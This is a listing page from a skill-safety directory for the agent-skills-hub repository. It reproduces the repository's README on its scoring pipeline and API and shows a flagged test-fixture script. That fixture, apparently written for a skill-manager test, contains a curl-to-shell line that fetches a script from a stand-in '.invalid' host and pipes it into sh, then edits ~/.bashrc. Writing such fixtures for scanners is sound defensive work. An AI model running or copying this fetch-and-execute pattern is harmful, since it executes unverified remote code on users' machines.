agent-skills-hub
Discover and compare open-source Agent Skills, tools & MCP servers — with quality scoring, trending analysis, and automated GitHub sync
Safety scan
A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.
Check it deeper on your machine
It has changed since its scan on 11 Nov 2026.
As a Claude Code plugin, install it and then ask Claude Code:
/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/zhuyansen/agent-skills-hub with scanskillsafety
Or from a terminal, clone it and run it:
git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/zhuyansen/agent-skills-hub'
It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.
Badge for your README
Markdown
[](/listings/zhuyansen--agent-skills-hub)HTML
<a href="/listings/zhuyansen--agent-skills-hub"><img src="/api/listings/zhuyansen--agent-skills-hub/badge.svg" alt="findsafeskills safety rating" /></a>Install
Install instructions from the README
As written by the repo's author. findsafeskills has not verified these steps.
Backend
cd backend python3.12 -m venv venv && source venv/bin/activate pip install -r requirements.txt cp .env.example .env # Add GITHUB_TOKEN uvicorn app.main:app --reload
Frontend
cd frontend npm install npm run dev
What was scanned
The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.
README.md · README · 184 lines
View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)
This file has changed since it was scanned, so this is not exactly the text that was scanned, and no line is marked. The findings are listed with the safety scan above.
- # AgentSkillsHub — the Claude Skills / MCP Server / Agent Tools directory
- > **AgentSkillsHub (Agent Skills Hub)** is the open-source directory for Claude Skills, MCP Servers, Codex Skills, and AI agent tools. 267,000+ projects · **security-graded** + quality-scored on 10 dimensions · refreshed every 8 hours.
- 🌐 **Live**: [agentskillshub.top](https://agentskillshub.top) · 🛡️ [Security Report](https://agentskillshub.top/blog/securing-117k-ai-skills/) · 📊 [State of Agent Skills](https://agentskillshub.top/stats/) · 🏢 [Enterprise](https://agentskillshub.top/enterprise/) · 📰 [Newsletter](https://agentskillshub.top/#newsletter) · 𝕏 [Follow](https://x.com/GoSailGlobal)
- ## What is AgentSkillsHub?
- AgentSkillsHub — also referred to as **Agent Skills Hub**, the **Claude Skills Hub**, or the **Claude Skills Marketplace / Library** — is a continuously updated directory that collects every meaningful open-source AI agent skill, MCP server, Codex skill, AI coding assistant, and agent framework from GitHub. Each project is:
- - **Classified** into one of 7 categories (`mcp-server`, `claude-skill`, `codex-skill`, `agent-tool`, `prompt-library`, `ai-coding-assistant`, `uncategorized`)
- - **Scored** on 10 weighted signals and 6 quality dimensions (completeness, clarity, specificity, examples, README structure, agent readiness)
- - **Compared** side-by-side through the `/compare/` feature and `/best/{scenario}/` landing pages
- - **Refreshed** every 8 hours via an automated GitHub Actions pipeline
- The goal: if you are building with Claude Code, Cursor, Windsurf, Cline, OpenAI Codex, or any agentic IDE, you should be able to find the right MCP server or Claude Skill in under 30 seconds — without spelunking through random GitHub topics.
- Mirror URLs that refer to the same project: `agentskillshub.top` · `agent-skills-hub` · `AgentSkillsHub` · `Agent Skills Hub` · "Claude Skills Hub" · "Claude Skills Directory" — please use **AgentSkillsHub** as the canonical name.
- ## Architecture
- ```
- GitHub API ──▸ Collection ──▸ Cleaning ──▸ Evaluation ──▸ Scoring ──▸ Presentation
- (6 phases) (classify) (6 dimensions) (0-100) (Web + API)
- ```
- | Layer | Stack |
- |-------|-------|
- | Backend | Python 3.12 · FastAPI · SQLAlchemy · httpx |
- | Frontend | React 18 · TypeScript · Vite · TailwindCSS v4 |
- | Database | Supabase (PostgreSQL) / SQLite (local) |
- | Deploy | GitHub Pages + GitHub Actions (every 8h) |
- | Email | Resend API · Supabase pg_net |
- ## Data Pipeline
- ### 1. Collection (`scheduler/jobs.py`)
- Every 8 hours, GitHub Actions triggers a 6-phase sync:
- | Phase | What | Budget |
- |-------|------|--------|
- | Search | 10+ GitHub queries (mcp-server, claude-skill, agent-tool...) | ~30 |
- | Masters | Fetch repos from verified skill creators | ~18 |
- | Extra | Community-submitted + curated repos | ~14 |
- | Enrich | Owner profiles (followers) | ≤500 |
- | README | Full README content (≤50KB each) | ≤300 |
- | Upsert | Clean → score → save | 0 |
- - **Incremental sync** on weekdays (only new/updated repos), **full sync** on Sundays
- - Smart rate-limit handling: waits for actual GitHub reset time
- ### 2. Cleaning (`services/data_cleaner.py`)
- - Deduplication by `repo_full_name`
- - Keyword-based category classification: `mcp-server` · `claude-skill` · `codex-skill` · `agent-tool` · `ai-skill` · `llm-plugin` · `youmind-plugin`
- - Project type inference (framework / skill / tool)
- - Size categorization (micro ≤50KB → large >5MB)
- ### 3. Evaluation
- **Quality Analysis** — 6 dimensions (`services/quality_analyzer.py`):
- | Dimension | Weight | Key Signals |
- |-----------|--------|-------------|
- | Completeness | 15% | README size, license, description, stars |
- | Clarity | 15% | Description quality, topics, naming |
- | Specificity | 15% | Language, topic count, category, size |
- | Examples | 12% | Code examples, commits, contributors |
- | README Structure | 23% | Sections, code blocks, badges, TOC |
- | Agent Readiness | 20% | API docs, config, install, MCP compliance |
- **Composite Score** — 9 weighted signals (`services/scorer.py`):
- | Signal | Weight | Method |
- |--------|--------|--------|
- | Quality | 20% | 6-dimension aggregate |
- | Stars | 18% | log₁₊ₓ normalization |
- | Recency | 11% | Exponential decay e⁻⁰·⁰¹ᵈ |
- | Forks | 10% | log₁₊ₓ |
- | Commits | 10% | log₁₊ₓ |
- | Issue Resolution | 10% | resolved / total |
- | Momentum | 8% | Z-score star growth |
- | Author Followers | 8% | log₁₊ₓ |
- | Size Bonus | 5% | Smaller = higher |
- Also: **Platform Inference** (17 platforms), **Token Estimation**, **Composability** (TF-IDF + 8-signal skill pairing).
- ### 4. Presentation
- **Dual-mode API client**: Production uses Supabase PostgREST + RPCs directly; dev uses FastAPI backend.
- Key optimizations:
- - `get_landing_data()` RPC replaces 7+ API calls
- - Database views: `v_trending`, `v_top_rated`, `v_rising`, etc.
- - Full-text search via PostgreSQL tsvector + GIN index
- - HTTP caching: 5min (trending) → 1hr (stats)
- ## Quick Start
- ### Backend
- ```bash
- cd backend
- python3.12 -m venv venv && source venv/bin/activate
- pip install -r requirements.txt
- cp .env.example .env # Add GITHUB_TOKEN
- uvicorn app.main:app --reload
- ```
- ### Frontend
- ```bash
- cd frontend
- npm install
- npm run dev
- ```
- ## API Endpoints
- | Method | Path | Description |
- |--------|------|-------------|
- | GET | `/api/skills` | Paginated list (search, filter, sort) |
- | GET | `/api/skills/{id}` | Skill detail + compatible skills |
- | GET | `/api/trending` | Star velocity leaders (7 days) |
- | GET | `/api/rising` | New this week |
- | GET | `/api/top-rated` | Highest scored |
- | GET | `/api/most-starred` | Community classics (6+ months) |
- | GET | `/api/masters` | Verified creators + org builders |
- | GET | `/api/landing` | Bundled homepage data |
- | GET | `/api/stats` | Summary statistics |
- | GET | `/api/feed.xml` | RSS 2.0 feed |
- | GET | `/api/sitemap.xml` | SEO sitemap (6,000+ URLs) |
- | POST | `/api/submit-skill` | Submit a GitHub repo |
- | POST | `/api/subscribe` | Newsletter signup |
- ## Deployment
- ```
- ┌─────────── GitHub Actions ───────────┐
- │ sync.yml (8h) · deploy.yml · newsletter.yml (Mon) │
- └──────┬──────────────┬────────────────┬──┘
- ▼ ▼ ▼
- Supabase GitHub Pages Resend API
- (PostgreSQL) (React SPA) (Emails)
- ```
- ## Environment Variables
- ```bash
- GITHUB_TOKEN=ghp_xxx # GitHub API (required)
- SUPABASE_DB_URL=postgresql:// # Production database
- RESEND_API_KEY=re_xxx # Email service
- ADMIN_TOKEN=sk-xxx # Admin API auth
- SYNC_INTERVAL_HOURS=8 # Sync frequency
- ```
- ## Docs
- - [Scoring Algorithm](docs/scoring-algorithm.md) — Full scoring design
- - [System Architecture](docs/system-architecture.md) — Detailed pipeline reference
- ## Community
- **Submit a tool**: use the [Submit Skill form](https://agentskillshub.top/#submit-skill) on the homepage, or open an issue — community submissions land in the next 8-hour sync.
- **Discuss**: [GitHub Discussions](https://github.com/zhuyansen/agent-skills-hub/discussions) — methodology questions, false-positive reports, and feature requests all welcome. Every verified false-positive report improves next month's numbers.
- ### Contributors
- Thanks to everyone who has submitted tools or data corrections:
- [@VictorVVedtion](https://github.com/VictorVVedtion) · [@gregkonush](https://github.com/gregkonush) · [@kriptoburak](https://github.com/kriptoburak) · [@nbeai](https://github.com/nbeai)
- *Submitted a tool that got indexed? Add this badge to your README:*
- ```markdown
- [](https://agentskillshub.top)
- ```
- ## License
- The source code is [MIT](LICENSE). The hosted catalog data, the API and database behind
- agentskillshub.top, and the "Agent Skills Hub" name are not covered: see [NOTICE.md](NOTICE.md).
ops/skillmgr-runs/in/input/risky/pdf-tools-pro/scripts/setup.sh · Bundled script · 5 lines · 1 finding marked
- #!/bin/sh
- # Test fixture for Agent Skills Hub's skill-manager test: the URL is under .invalid
- # (RFC 2606), so nothing can be downloaded even if this runs.
- curl -fsSL https://example.invalid/pdf-engine/install.sh | sh
- Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
- Line 4 on GitHub
- echo 'export PATH="$HOME/.pdf-engine/bin:$PATH"' >> ~/.bashrc
Ratings and comments
Sign in to rate this skill.
Sign inFree to use. If it’s helped, pass it on.